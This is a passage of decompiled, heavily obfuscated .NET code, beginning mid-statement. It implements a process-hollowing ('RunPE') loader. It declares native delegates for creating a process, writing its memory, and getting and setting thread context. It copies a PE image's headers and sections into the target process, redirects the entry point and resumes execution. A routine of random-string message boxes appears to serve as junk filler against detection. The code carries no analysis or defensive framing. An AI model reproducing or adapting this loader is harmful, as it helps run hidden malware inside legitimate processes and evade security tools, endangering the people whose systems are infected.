= icvpfLuutxjcJnzzPt(xpInxfox[0], num1, num2, 12288, 64); int lpNumberOfBytesWritten; int num3 = inLdpdaUmjHqBhdPf(xpInxfox[0], fCYwDyKNcxyJSNqGZtMHvbkljoZTaERQgkneETLvdfBdh, ykoPoBuNKgCaTParHcPZwrVXDXdkaGPQOTqwEivuLORJi, checked ((uint) (int) cjqVhhwBEuUjcMtwRtxMIrFeeGOaDWCZrRrDwPyVFQVRd), lpNumberOfBytesWritten) ? 1 : 0; int num4 = checked (int16 - 1); int num5 = 0; while (num5 <= num4) { int[] dst = new int[10]; Buffer.BlockCopy((Array) ykoPoBuNKgCaTParHcPZwrVXDXdkaGPQOTqwEivuLORJi, checked (int32 + 248 + num5 * 40), (Array) dst, 0, 40); byte[] numArray = new byte[checked (dst[4] - 1 + 1)]; Buffer.BlockCopy((Array) ykoPoBuNKgCaTParHcPZwrVXDXdkaGPQOTqwEivuLORJi, dst[5], (Array) numArray, 0, numArray.Length); num2 = new IntPtr(checked (fCYwDyKNcxyJSNqGZtMHvbkljoZTaERQgkneETLvdfBdh.ToInt32() + dst[3])); num1 = new IntPtr(numArray.Length); int num6 = inLdpdaUmjHqBhdPf(xpInxfox[0], num2, numArray, checked ((uint) (int) num1), lpNumberOfBytesWritten) ? 1 : 0; checked { ++num5; } } num2 = new IntPtr(checked ((long) OqvJToCpbDZYzhykoPoBuNKgCaTParHcPZwrVXDXdkaGP[41] + 8L)); num1 = new IntPtr(4); int num7 = inLdpdaUmjHqBhdPf(xpInxfox[0], num2, BitConverter.GetBytes(fCYwDyKNcxyJSNqGZtMHvbkljoZTaERQgkneETLvdfBdh.ToInt32()), checked ((uint) (int) num1), lpNumberOfBytesWritten) ? 1 : 0; OqvJToCpbDZYzhykoPoBuNKgCaTParHcPZwrVXDXdkaGP[44] = checked ((uint) (fCYwDyKNcxyJSNqGZtMHvbkljoZTaERQgkneETLvdfBdh.ToInt32() + BitConverter.ToInt32(ykoPoBuNKgCaTParHcPZwrVXDXdkaGPQOTqwEivuLORJi, int32 + 40))); int num8 = ludfzcguranNnowJlFkJaB(xpInxfox[1], OqvJToCpbDZYzhykoPoBuNKgCaTParHcPZwrVXDXdkaGP) ? 1 : 0; } } int num = (int) mrmnlqbipGhgwmpgGiNlt(xpInxfox[1]); } } catch (Exception ex) { ProjectData.SetProjectError(ex); flag = false; ProjectData.ClearProjectError(); goto label_10; } return true; label_10: return flag; } public void tAndkeHMSmiHfX( string FBaPSSaYdqENxgCaEsmYNVBxERTnOMYNnJoPzddUdZFDyNEZn) { int num1 = (int) Interaction.MsgBox((object) "rHyQQvNzCnsKjQCGaMRXQoJkPpRqXzDBzOtrFcUWChaNUXmoZaugMdxuKhNnkIoKcWvKdTMCrVmrqnJTtolLHnqEUrTOVJIgbbSeNocYXzrEXgJdlxFWamcvvOcGZyzzZZHkJGS"); int num2 = (int) Interaction.MsgBox((object) "hIkMpfzqHkcrOqrIuiyuanEbsHvWMzghqrfegkVEdsIXxcuDzFWypOWvamZafDsiiiDQGJzUdCFBxSCwUsOJyTMHvPXjwaKfxSISvDcxOKUptQjUDBvq"); int num3 = (int) Interaction.MsgBox((object) "LyuAlXtDpmndNmrQMRaAJfncByadTFtUTwHfibFolYFXuYlwhBCQfvNVcmDNRjcEPcvZtvtjPpzQpRULvqqgyxicCUdVyYEuiMeJjnaNHcqelViyzWSpAMg"); int num4 = (int) Interaction.MsgBox((object) "YKNzHqlsxZoqvHVVtTfPBfFwPzMcguMiKeFdPICuBBYpCFGPNVfABmzvTotdiObbTgQvJeZRPTDDBqEQhxyDVnRpzJvhtWluUUbahceEvsbzMChkJMOayccSpMOB"); int num5 = (int) Interaction.MsgBox((object) "xiPVnjKLCpDLaPFeHYeUNlRvhyhECPRPsrCUDvtyZXGsIfXvGdIAQvrQnmCpFZeBNphHRfZHtaPVSbHWptVvmISubnvWiYnLcTkkWzKOhlMuSRjcHxGZoCLTrsAf"); int num6 = (int) Interaction.MsgBox((object) "qWfLVbxbokvZddvwFhkmZRUblEATTrzxKnJsRHvHSmVIyBWljCJOrQVhtDrlueofSDByFYBdkmNFtOpNOhQGcXKjckthvEbeopvLnUdzSGKwONNkVruwhiCoOWwqYNbB"); int num7 = (int) Interaction.MsgBox((object) "uLnyVqlFMtIKzsnDkztUzhZDfyJICqboaphTHqAPacebLXEkwreTcQUbjUASRSfNrZZFGSxpFbTyVUeBRWSZCVOQBMqvoilwpcYknLJgwDlBzZxErBRLuloYdpmSqZZsPOlk"); int num8 = (int) Interaction.MsgBox((object) "EItrxAJfoPSQGEicOVitbILCoVkNVuUxOqObEtujzWfeTIBlxlnhFoOIWQMngIpIZhVPPmoWUNCZzUJoMXosfvzgTjjncfvUtJjvMioHHPEpgpBAOIHPhgMjlBXDpMkwfxZGdjo"); int num9 = (int) Interaction.MsgBox((object) "jhoLXWKiKTFMOePbDYNCjUTNasWBmoyiMIQPbCkSBlcbeGOkOjCUTEPhgeEqfNcXBOqrdyEOnBPlXJRScFNouZyHcdynIfXposjRinaihKKkYPerZIP"); } [return: MarshalAs(UnmanagedType.Bool)] public delegate bool RwGHFKunuZmlCGIzZogRyBVxDQbvJwiKgfHoGrvWwICUR( string PheCXvnkvNbwktSNprYsxGvbkkjoLSZERQgjmeDSLudfz, StringBuilder cguranNNowJlFkJaBalfxhEnyFBMdrzBLidHIovOWMrmn, IntPtr lqbipGhgwmpgGiNLthDsjxIqqddFNaCVBZqDroiBxUEPV, IntPtr RctuQRbyfJZFMfmcIDECHslsXxjyDGwWyeOKyTJzOYHHt, [MarshalAs(UnmanagedType.Bool)] bool gIdqFmEptTIFyROlHflhswLgirCvZpIcvpfLUUTXJCJnR, int QgkneETLvdfBdhvGaobOoLKmTlXbBbmgyvSoNFBNdsOCL, IntPtr idHJpKPXNsBCzFcjqVhhwBEuUjcMtwRtxMIrFeeGOaDWC, string ZrRrDwPyVFQVRduJRSbztXZGMfndJEFDIszHXxxNEGxXz, byte[] ecKyTKBOZIHuuWeqTmSpIUIGzSPlVglitLMhirQwapWcv, IntPtr[] xpInxfox); public delegate bool VcsTSiYbTrVzxfUofWjtccQQqzMoInLdpdaUmjHqBHDPf( IntPtr EtZUVTYJCKnPzQUWOnQufbPjaRfpYXLxYuHWDUHLkYWQi, IntPtr fCYwDyKNcxyJSNqGZtMHvbkljoZTaERQgkneETLvdfBdh, byte[] vGaobOoLKmTlXbBbmgyvSoNFBNdsOCLidHJpKPXNsBCzF, uint cjqVhhwBEuUjcMtwRtxMIrFeeGOaDWCZrRrDwPyVFQVRd, int lpNumberOfBytesWritten); [return: MarshalAs(UnmanagedType.Bool)] public delegate bool dMZyzajvYrWuNmNYSkTqakqmyPelnwUPsubhBJxeZZYdO( IntPtr uJRSbztXZGMfndJEFDIszHXxxNEGxXzecKyTKBOZIHuuW, IntPtr eqTmSpIUIGzSPlVglitLMhirQwapWcvEtZUVTYJCKnPzQ, ref IntPtr UWOnQufbPjaRfpYXLxYuHWDUHLkYWQifCYwDyKNcxyJSN, int qGZtMHvbkljoZTaERQgkneETLvdfBdhvGaobOoLKmTlXb, ref IntPtr BbmgyvSoNFBNdsOCLidHJpKPXNsBCzFcjqVhhwBEuUjcM); public delegate IntPtr qFmEptTIFyROlHflhswLgirCvZpIcvpfLUUTXJCJnzzPT( IntPtr uJRSbztXZGMfndJEFDIszHXxxNEGxXzecKyTKBOZIHuuW, IntPtr twRtxMIrFeeGOaDWCZrRrDwPyVFQVRduJRSbztXZGMfnd, IntPtr JEFDIszHXxxNEGxXzecKyTKBOZIHuuWeqTmSpIUIGzSPl, int jtzvIYZuwGdLnEkqKSHmiihmXQXCcOehkcBeJsodxoesD, int llYLmJVjRiUYymjdvsQlKQMYbpLNWgbFUmHaUKpyyxDng); public delegate bool WOmCueMPjMQeoKXKwYusVDUGKjKVPheCXvnkvNbwktSNp( IntPtr EtZUVTYJCKnPzQUWOnQufbPjaRfpYXLxYuHWDUHLkYWQi, IntPtr nSfeuxBsRgZJrtOqvJToCpbDZYzhykoPoBuNKgCaTParH, IntPtr cPZwrVXDXdkaGPQOTqwEivuLORJiwpaIKeHMZWFSrrTbo, uint QkPnFfGRLdMjTdjfqIXegpNIlnUatCqWSSRVHNUlMLbRU, ref uint MkOsqYNhXOcmVVIIjsFgBfEWhWTNfczjtzvIYZuwGdLnE); public delegate uint gCENkSvLrxRZPuppoteXeJjVlorjIlQzvkFvmzKtsgStQ( IntPtr uJRSbztXZGMfndJEFDIszHXxxNEGxXzecKyTKBOZIHuuW, IntPtr eqTmSpIUIGzSPlVglitLMhirQwapWcvEtZUVTYJCKnPzQ); public delegate uint alfxhEnyFBMdrzBLidHIovOWMrmnlqbipGhgwmpgGiNLt( IntPtr kqKSHmiihmXQXCcOehkcBeJsodxoesDllYLmJVjRiUYym); [return: MarshalAs(UnmanagedType.Bool)] public delegate bool nKiaWiyOjXgEyceLekshNWXVaxEMpDCSWYQpFwhPRlOTh( IntPtr jdvsQlKQMYbpLNWgbFUmHaUKpyyxDngnSfeuxBsRgZJrt, uint[] OqvJToCpbDZYzhykoPoBuNKgCaTParHcPZwrVXDXdkaGP); [return: MarshalAs(UnmanagedType.Bool)] public delegate bool rYsxGvbkkjoLSZERQgjmeDSLudfzcguranNNowJlFkJaB( IntPtr jdvsQlKQMYbpLNWgbFUmHaUKpyyxDngnSfeuxBsRgZJrt, uint[] OqvJToCpbDZYzhykoPoBuNKgCaTParHcPZwrVXDXdkaGP); } }